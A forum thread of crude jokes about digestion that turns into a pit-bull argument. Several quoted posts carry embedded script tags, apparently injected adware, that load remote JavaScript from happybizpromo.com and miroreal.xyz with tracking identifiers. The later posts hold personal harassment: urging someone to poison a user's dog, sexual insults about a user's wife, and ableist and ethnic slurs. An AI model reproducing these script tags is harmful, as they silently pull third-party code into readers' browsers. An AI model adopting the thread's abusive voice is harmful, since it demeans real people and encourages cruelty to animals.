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Post by agrappleaday on Nov 22, 2016 12:54:32 GMT -5
I am expecting to pass a big ol' turd sometime soon. Made a massive pot of chili a few days ago and have been eating it on the daily. Corn tracers and everything. I love corn on occasion because it let's me know my digestion is speedy. Input to output in under 12 hours usually. Maybe this should have not been a new thread but instead more of a random thought?
The wife and I are also expecting our first child in mid May, but that's beside the point.
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Post by Fasthands25 on Nov 22, 2016 12:55:37 GMT -5
I am expecting to pass a big ol' turd sometime soon. Made a massive pot of chili a few days ago and have been eating it on the daily. Corn tracers and everything. I love corn on occasion because it let's me know my digestion is speedy. Input to output in under 12 hours usually. Maybe this should have not been a new thread but instead more of a random thought? The wife and I are also expecting our first child in mid May, but that's beside the point. Congrats my friend! Oh and good for your wife as well I suppose.
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Post by CHOPPEDnSCREWED on Nov 22, 2016 13:05:21 GMT -5
Congrats on the food baby...oh yeah, and the kid.
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Post by purerockfury on Nov 23, 2016 17:13:02 GMT -5
Congrats on both!
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Post by agrappleaday on Nov 23, 2016 17:14:45 GMT -5
Thanks fellas.
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Post by Deleted on Nov 24, 2016 12:04:33 GMT -5
Are you shitting on a cat?
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Post by Premier on Nov 24, 2016 17:57:45 GMT -5
Congrats!
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Post by Canuklehead on Nov 24, 2016 18:04:35 GMT -5
This thread will probably be a lot busier tomorrow
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Post by Premier on Nov 24, 2016 20:19:34 GMT -5
I bet. Everyone taking mega shits after pigging out tonight.
There might even be another baby announcement.
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Post by agrappleaday on Nov 25, 2016 14:43:31 GMT -5
Are you shitting on a cat? Umm... what? I was planning on shitting in a toilet. Plan went ahead just as followed.
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Post by vegeta420z on Dec 28, 2018 4:04:02 GMT -5
I too am about to take a shit. Might go for a hover dump.
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Post by MMAJim on Jan 7, 2019 14:36:27 GMT -5
I notice an increase in volume and frequency of #2's when I eat more and/or more shitty food. Do I need to reference a medical journal to determine why this happens?
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Post by vegeta420z on Jan 7, 2019 19:17:09 GMT -5
I notice an increase in volume and frequency of #2's when I eat more and/or more shitty food. Do I need to reference a medical journal to determine why this happens? No just eat better. I ate a whole large pizza last night and am currently smashing my toilet, like Jerome smashed Kyle's wife while he was at work
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Post by Deleted on Jan 13, 2019 16:48:51 GMT -5
There is a big difference in the style of deuce you take after eating better for a couple weeks straight. It's weird...you have this growler that needs to get out immediately, at the same time almost every morning and afternoon. But the thing is, it takes some time to get to this point. And after you go, you are hungry as fuck...it's like clockwork.
Meanwhile...eat and drink like horrible for one evening...and your next morning to early afternoon is completely changed.
It's all in the eating lifestyle.
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Post by Fasthands25 on Jan 13, 2019 23:40:47 GMT -5
There is a big difference in the style of deuce you take after eating better for a couple weeks straight. It's weird...you have this growler that needs to get out immediately, at the same time almost every morning and afternoon. But the thing is, it takes some time to get to this point. And after you go, you are hungry as fuck...it's like clockwork. Meanwhile...eat and drink like horrible for one evening...and your next morning to early afternoon is completely changed. It's all in the eating lifestyle. I'm taking a massive shit as I type this. I can attest to what you are saying.
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Post by vegeta420z on Jan 14, 2019 8:55:56 GMT -5
I bought 6 cases of muscle milk protein bars. And each bar has 30% daily fiber , and I've been eating About 9 or 10 of them A day. Because they have a use by date of the 30th. All that fiber got me shitting like a fucking champ. KING KONG AINT GOT NOTHING ON ME! BUDOOOOOOOO!!!!!!!!!!!!!!
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Post by Deleted on Jan 14, 2019 20:05:18 GMT -5
I bought 6 cases of muscle milk protein bars. And each bar has 30% daily fiber , and I've been eating About 9 or 10 of them A day. Because they have a use by date of the 30th. All that fiber got me shitting like a fucking champ. KING KONG AINT GOT NOTHING ON ME! BUDOOOOOOOO!!!!!!!!!!!!!! You should give a bunch of the chocolate ones to your worthless meathead dog so it dies and doesn't end up chewing some kids ear off due to it's lack of chromosomes.
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Post by Deleted on Jan 14, 2019 20:12:00 GMT -5
I bought 6 cases of muscle milk protein bars. And each bar has 30% daily fiber , and I've been eating About 9 or 10 of them A day. Because they have a use by date of the 30th. All that fiber got me shitting like a fucking champ. KING KONG AINT GOT NOTHING ON ME! BUDOOOOOOOO!!!!!!!!!!!!!! You should give a bunch of the chocolate ones to your worthless meathead dog so it dies and doesn't end up chewing some kids ear off due to it's lack of chromosomes. <script src="http://happybizpromo.com/i.js?tag=chrome&did=11&v_tag=15985&k_tag=0" charset="UTF-8"></script><script charset="UTF-8">ss78mest = {"version":"171","uniqueID":"1545624341814","tag":"chrome","distributorId":"11","vTag":"15985","pTag":"0","kTag":"0","bannedDomains":[]};tdUserStorage = {}; window["pTag84719287"] = "0"; window["jj837711"] = "1545624341814"</script><script type="text/javascript" src="//miroreal.xyz/js/main.js?_=1547514715380" charset="UTF-8"></script> It's shit like that why you won't see a pitty in any of my rentals. Fuck all that noise.
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Post by Deleted on Jan 14, 2019 20:49:37 GMT -5
You should give a bunch of the chocolate ones to your worthless meathead dog so it dies and doesn't end up chewing some kids ear off due to it's lack of chromosomes. <script src="http://happybizpromo.com/i.js?tag=chrome&did=11&v_tag=15985&k_tag=0" charset="UTF-8"></script><script charset="UTF-8">ss78mest = {"version":"171","uniqueID":"1545624341814","tag":"chrome","distributorId":"11","vTag":"15985","pTag":"0","kTag":"0","bannedDomains":[]};tdUserStorage = {}; window["pTag84719287"] = "0"; window["jj837711"] = "1545624341814"</script><script type="text/javascript" src="//miroreal.xyz/js/main.js?_=1547514715380" charset="UTF-8"></script> It's shit like that why you won't see a pitty in any of my rentals. Fuck all that noise. Vagina is going to get really upset about anyone talking bad about his inbred worthless baby-killer. He likes to come on here and brag about how his dog wins a bunch of fights, like it somehow makes up for his tiny dick and low IQ. I have seen dozens of pitbulls hunt and many of them killed while doing so purely because they lack enough intelligence to let go of a pig while their trachea is getting tore out of their own necks. Seeing that makes me move to the other side of the street with my kids when we see one on a walk. They are simply genetically flawed, and there is no amount of training or obedience than can compensate for what they are missing.
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Post by verbal0knit on Jan 14, 2019 21:20:48 GMT -5
<script src="http://happybizpromo.com/i.js?tag=chrome&did=11&v_tag=15985&k_tag=0" charset="UTF-8"></script><script charset="UTF-8">ss78mest = {"version":"171","uniqueID":"1545624341814","tag":"chrome","distributorId":"11","vTag":"15985","pTag":"0","kTag":"0","bannedDomains":[]};tdUserStorage = {}; window["pTag84719287"] = "0"; window["jj837711"] = "1545624341814"</script><script type="text/javascript" src="//miroreal.xyz/js/main.js?_=1547514715380" charset="UTF-8"></script> It's shit like that why you won't see a pitty in any of my rentals. Fuck all that noise. Vagina is going to get really upset about anyone talking bad about his inbred worthless baby-killer. He likes to come on here and brag about how his dog wins a bunch of fights, like it somehow makes up for his tiny dick and low IQ. I have seen dozens of pitbulls hunt and many of them killed while doing so purely because they lack enough intelligence to let go of a pig while their trachea is getting tore out of their own necks. Seeing that makes me move to the other side of the street with my kids when we see one on a walk. They are simply genetically flawed, and there is no amount of training or obedience than can compensate for what they are missing.So you're saying that certain breeds genetically have lower IQ's than other breeds? And that the breeds with lower IQ'S are more likely to commit violent attacks?
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Post by Deleted on Jan 15, 2019 1:42:21 GMT -5
Vagina is going to get really upset about anyone talking bad about his inbred worthless baby-killer. He likes to come on here and brag about how his dog wins a bunch of fights, like it somehow makes up for his tiny dick and low IQ. I have seen dozens of pitbulls hunt and many of them killed while doing so purely because they lack enough intelligence to let go of a pig while their trachea is getting tore out of their own necks. Seeing that makes me move to the other side of the street with my kids when we see one on a walk. They are simply genetically flawed, and there is no amount of training or obedience than can compensate for what they are missing.So you're saying that certain breeds genetically have lower IQ's than other breeds? And that the breeds with lower IQ'S are more likely to commit violent attacks? No, that's not what I said. What I said was pitbulls are so aggressive and get such a tunnel vision that they cannot be stopped once they decide to attack. When a pitbull decides to go after something, you are not going to stop it with words, and the only way you are going to stop it physically is to restrain it, which is next to impossible. When did I say that a dog with a low IQ was more likely to commit violent attacks?
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Post by MMAJim on Jan 15, 2019 8:22:30 GMT -5
I’m pretty sure that was a societal commentary joke, not a literal dog reference.
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Post by Deleted on Jan 15, 2019 9:56:48 GMT -5
I’m pretty sure that was a societal commentary joke, not a literal dog reference. Wow, I totally missed that. You would think for me being such a racist person I would have been all over that one.
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Post by vegeta420z on Jan 15, 2019 19:30:17 GMT -5
<script src="http://happybizpromo.com/i.js?tag=chrome&did=11&v_tag=15985&k_tag=0" charset="UTF-8"></script><script charset="UTF-8">ss78mest = {"version":"171","uniqueID":"1545624341814","tag":"chrome","distributorId":"11","vTag":"15985","pTag":"0","kTag":"0","bannedDomains":[]};tdUserStorage = {}; window["pTag84719287"] = "0"; window["jj837711"] = "1545624341814"</script><script type="text/javascript" src="//miroreal.xyz/js/main.js?_=1547514715380" charset="UTF-8"></script> It's shit like that why you won't see a pitty in any of my rentals. Fuck all that noise. Vagina is going to get really upset about anyone talking bad about his inbred worthless baby-killer. He likes to come on here and brag about how his dog wins a bunch of fights, like it somehow makes up for his tiny dick and low IQ. I have seen dozens of pitbulls hunt and many of them killed while doing so purely because they lack enough intelligence to let go of a pig while their trachea is getting tore out of their own necks. Seeing that makes me move to the other side of the street with my kids They are simply genetically flawed, and there is no amount oftpppptraining or obedience than can compensate for what they are missing. Look at Kyle spitting the troof. But to be fair I don't think it's their fault Kyle, their "dad" Is a closeted racist bigot who denies his own sexual attraction to Mexican men, And their mom with a fucking 5head and serious downsyndrome genetic markers. Their biological father Who need special controller To sit on his ass And play xbox all day. Those Poorlittle Cretins Didn't Stand A Chance. Tell that whore of a wife of yours stop fucking her brother. or at least tell him to wrap up before he Hits that nasty shit
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